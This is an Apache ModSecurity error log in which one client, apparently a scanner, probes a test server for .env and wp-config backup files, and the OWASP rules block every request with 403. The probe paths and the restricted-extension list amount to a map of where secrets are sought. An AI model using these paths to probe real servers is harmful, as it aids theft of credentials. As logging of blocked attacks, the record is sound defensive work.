[Thu Feb 26 01:03:25.317381 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webstatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGwAAAAU&quot;]
[Thu Feb 26 01:03:25.317594 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGwAAAAU&quot;]
[Thu Feb 26 01:03:25.317750 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QGwAAAAU&quot;]
[Thu Feb 26 01:03:25.329219 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMgAAAAM&quot;]
[Thu Feb 26 01:03:25.329442 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMgAAAAM&quot;]
[Thu Feb 26 01:03:25.329583 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMgAAAAM&quot;]
[Thu Feb 26 01:03:25.358757 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMwAAAAM&quot;]
[Thu Feb 26 01:03:25.359043 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.old&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMwAAAAM&quot;]
[Thu Feb 26 01:03:25.359262 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMwAAAAM&quot;]
[Thu Feb 26 01:03:25.359412 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElMwAAAAM&quot;]
[Thu Feb 26 01:03:25.363785 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHAAAAAU&quot;]
[Thu Feb 26 01:03:25.364000 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHAAAAAU&quot;]
[Thu Feb 26 01:03:25.364148 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHAAAAAU&quot;]
[Thu Feb 26 01:03:25.386715 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php-backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNAAAAAM&quot;]
[Thu Feb 26 01:03:25.386922 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNAAAAAM&quot;]
[Thu Feb 26 01:03:25.387085 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNAAAAAM&quot;]
[Thu Feb 26 01:03:25.400002 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /well-known/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHQAAAAU&quot;]
[Thu Feb 26 01:03:25.400204 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHQAAAAU&quot;]
[Thu Feb 26 01:03:25.400347 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHQAAAAU&quot;]
[Thu Feb 26 01:03:25.410030 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNQAAAAM&quot;]
[Thu Feb 26 01:03:25.410248 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNQAAAAM&quot;]
[Thu Feb 26 01:03:25.410408 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNQAAAAM&quot;]
[Thu Feb 26 01:03:25.448230 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.txt&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.txt found within REQUEST_FILENAME: /wp-config.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNgAAAAM&quot;]
[Thu Feb 26 01:03:25.448458 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNgAAAAM&quot;]
[Thu Feb 26 01:03:25.448634 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNgAAAAM&quot;]
[Thu Feb 26 01:03:25.450991 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /whturk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHgAAAAU&quot;]
[Thu Feb 26 01:03:25.451213 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHgAAAAU&quot;]
[Thu Feb 26 01:03:25.451376 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHgAAAAU&quot;]
[Thu Feb 26 01:03:25.480386 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.2.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHwAAAAU&quot;]
[Thu Feb 26 01:03:25.480609 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHwAAAAU&quot;]
[Thu Feb 26 01:03:25.480763 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QHwAAAAU&quot;]
[Thu Feb 26 01:03:25.505252 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.3.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIAAAAAU&quot;]
